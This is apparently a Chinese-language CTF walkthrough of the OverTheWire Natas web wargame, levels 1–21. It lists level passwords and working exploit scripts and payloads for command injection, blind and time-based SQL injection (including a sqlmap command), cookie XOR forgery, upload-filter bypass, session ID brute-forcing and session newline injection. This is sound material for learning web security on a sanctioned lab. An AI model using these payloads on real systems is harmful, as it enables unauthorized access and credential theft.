Overthewire natas wp
url : http://overthewire.org/wargames/natas/
level 1 gtVrDuiDfck831PqWsLEZy5gyDz1clto
level 2 ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
level 3 http://natas2.natas.labs.overthewire.org/files/users.txt
1 2 3 4 5 6 7 # username:password alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 eve:zo4mJWyNj2 mallory:9urtcpzBmH
level 4 http://natas3.natas.labs.overthewire.org/robots.txt
1 2 User-agent: * Disallow: /s3cr3t/
natas3.natas.labs.overthewire.org/s3cr3t/users.txt
1 natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
level 5 iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
level 6 aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
level 7 http://natas6.natas.labs.overthewire.org/includes/secret.inc
1 2 3 <? $secret = "FOEIUWGHFEEUHOFUOIU"; ?>
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
level 8 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
level 9 secret:oubWYf2kBq
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
level 10 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
level 11 过滤了|&;
不能截断命令了 但可以利用grep命令本身
.* /etc/natas_webpass/natas11
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
level 12 给出了源代码,发现是根据$data["showpassword"]
的值判断是否给出密码,而默认的是no
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <? $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); ?>
通过loadData
函数变更data
的值,如果cookie中存在格式正确的值,会把data的值替换为从cookie中取的值,所以可以通过更改cookie值来更改$data["showpassword"]
为yes
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
这里base64和json都好解决,但xor_encrypt
里的key不知道,需要先求出,异或加密只要再异或一下就能求得key了
然后把默认data改为yes,再生成一个cookie,修改就能拿到密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $data = $defaultdata; $text = json_encode($data); $outText=base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D'); $key=''; for($i=0;$i<strlen($text);$i++) { $key.=$text[$i]^$outText[$i]; } echo $key."<br>"; $defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = 'qw8J'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } $data = loadData($defaultdata); echo "cookie: ".base64_encode(xor_encrypt(json_encode($data)))."<br>";
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
level 13 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css" > <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js" ></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js" ></script> <script src=http: <script>var wechallinfo = { "level" : "natas12" , "pass" : "<censored>" };</script></head> <body> <h1>natas12</h1> <div id="content" > <? function genRandomString () { $length = 10 ; $characters = "0123456789abcdefghijklmnopqrstuvwxyz" ; $string = "" ; for ($p = 0 ; $p < $length; $p++) { $string .= $characters[mt_rand(0 , strlen($characters)-1 )]; } return $string; } function makeRandomPath ($dir, $ext) { do { $path = $dir."/" .genRandomString()."." .$ext; } while (file_exists($path)); return $path; } function makeRandomPathFromFilename ($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if (array_key_exists("filename" , $_POST)) { $target_path = makeRandomPathFromFilename("upload" , $_POST["filename" ]); if (filesize($_FILES['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else { if (move_uploaded_file($_FILES['uploadedfile' ]['tmp_name' ], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST" > <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1 KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?> <div id="viewsource" ><a href="index-source.html" >View sourcecode</a></div> </div> </body> </html>
[ ]
文件扩展名由$_POST["filename"]
决定,直接修改
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
level 14 多加了一个exif_imagetype()
函数
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
在php前加GIF89a
等图像标识可绕过
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
level 15 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <? if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas14', '<censored>'); mysql_select_db('natas14', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { echo "Successful login! The password for natas15 is <censored><br>"; } else { echo "Access denied!<br>"; } mysql_close($link); } else { ?>
参数都没过滤,万能密码"or"1"="1
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
level 16 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?>
盲注
sqlmap(很快)
1 2 3 python sqlmap.py -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=nata s15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --string="Th is user exists" -D natas15 -T users -C username,password --dump --threads 10
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # -*- coding:utf-8 -*- import requests def check(payload): url = "http://natas15.natas.labs.overthewire.org/index.php" r = requests.post(url,data=payload,auth=('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')) #print r.content return 'doesn' not in r.content def exploit(length): data = "" for i in range(1,length): LEFT = 0 RIGHT = 255 P = (LEFT + RIGHT) / 2 while abs(LEFT - RIGHT) > 1: payload = {'username':"\" or ORD(mid((SELECT group_concat(username,password) from users),%d,1))<%d #" % (i, P)} if check(payload): RIGHT = P else: LEFT = P P = (LEFT + RIGHT) / 2 data += chr(P) print "[+] Data (%d) : %s" % (len(data), data) exploit(350) # database:natas15 # users # username,password
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
level 17 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?>
过滤了一些字符,而且key参数用双引号包了起来,不能直接注入了
可以利用php中&(xxx)
来执行命令
1 ?needle=$(grep ^a /etc/natas_webpass/natas17)Doctor
如果密码不以a
开头,$(grep ^a /etc/natas_webpass/natas17)
为空,命令为grep -i Doctor dictionary.txt
,有回显
而如果密码以a
开头,则命令为grep -i aDoctor dictionary.txt
,无回显
因此可以进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # -*- coding:utf-8 -*- import requests import string url='http://natas16.natas.labs.overthewire.org/index.php' def check(payload): t=requests.get(url+payload,auth=('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')).text #print t return 'Doctor' not in t c='' while 1: for i in string.digits+string.ascii_letters: payload="?needle=$(grep+^"+c+i+"+/etc/natas_webpass/natas17)Doctor&submit=Search" if check(payload): c+=i break print c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
level 18 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored>'); mysql_select_db('natas17', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Error in query.<br>"; } mysql_close($link); } else { ?>
无回显,可以时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # -*- coding: utf-8 -*- import requests import time url='http://natas17.natas.labs.overthewire.org' def check(payload): data={'username':'"or if(('+payload+'),sleep(1),1)#'} starttime=time.time() r=requests.post(url,data,auth=('natas17','8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')) print time.time() - starttime if time.time() - starttime > 2: return True else: return False def exploit(length): data = "" for i in range(1,length): LEFT = 0 RIGHT = 255 P = (LEFT + RIGHT) / 2 while abs(LEFT - RIGHT) > 1: payload = 'ORD(mid((SELECT group_concat(column_name,0x7e) from information_schema.columns where table_name="users"),%d,1))<%d' % (i, P) if check(payload): RIGHT = P else: LEFT = P P = (LEFT + RIGHT) / 2 data += chr(P) print "[+] Data (%d) : %s" % (len(data), data) exploit(350)
网速很慢。。。
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
level 19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <? $maxid = 640; // 640 should be enough for everyone function isValidAdminLogin() { /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; } return 0; } /* }}} */ function isValidID($id) { /* {{{ */ return is_numeric($id); } /* }}} */ function createID($user) { /* {{{ */ global $maxid; return rand(1, $maxid); } /* }}} */ function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } /* }}} */ function my_session_start() { /* {{{ */ if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { if(!session_start()) { debug("Session start failed"); return false; } else { debug("Session start ok"); if(!array_key_exists("admin", $_SESSION)) { debug("Session was old: admin flag set"); $_SESSION["admin"] = 0; // backwards compatible, secure } return true; } } return false; } /* }}} */ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; } } /* }}} */ $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { session_id(createID($_REQUEST["username"])); session_start(); $_SESSION["admin"] = isValidAdminLogin(); debug("New session started"); $showform = false; print_credentials(); } } if($showform) { ?>
打印密码的函数print_credentials()
,通过session验证是否是admin
session_id
设置当前会话id,id由createID
函数随机生成,而$maxid
为640,爆破一下id也就是PHPSESSION
就可以,最后爆破得到id为138
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
level 20
This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
sessionid不再是有序的数字,观察发现是十六进制,转为十进制之后是ascii码,转为字母后发现是数字-用户名
的形式,写个脚本爆破数字生成字典,在burp里爆破
1 2 3 4 5 6 7 8 9 f=open ("1.txt","w") a = [] for i in range(1,640): a.append(str(i)+'-admin') for i in a: str='' for c in i: str+=hex(ord(c)).replace('0x','') f.write(str+'\n')
PHPSESSION为38392d61646d696e
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
level 21 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 <? function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } /* }}} */ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } } /* }}} */ /* we don't need this */ function myopen($path, $name) { //debug("MYOPEN $path $name"); return true; } /* we don't need this */ function myclose() { //debug("MYCLOSE"); return true; } function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; } return session_encode(); } function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); } /* we don't need this */ function mydestroy($sid) { //debug("MYDESTROY $sid"); return true; } /* we don't need this */ function mygarbage($t) { //debug("MYGARBAGE $t"); return true; } session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); if(array_key_exists("name", $_REQUEST)) { $_SESSION["name"] = $_REQUEST["name"]; debug("Name set to " . $_REQUEST["name"]); } print_credentials(); $name = ""; if(array_key_exists("name", $_SESSION)) { $name = $_SESSION["name"]; } ?>
这里自定义了会话存储函数,在myread()
函数中
1 2 3 4 5 foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; }
用换行分割传入的数据,然后每行用空格分割成两部分设为session的键和值
如果要得到密码需要$_SESSION["admin"] == 1
,可以传入换行加admin 1
payload
1 http://natas20.natas.labs.overthewire.org/index.php?debug=1&name=a%0Aadmin%201
开启debug,可以看到具体过程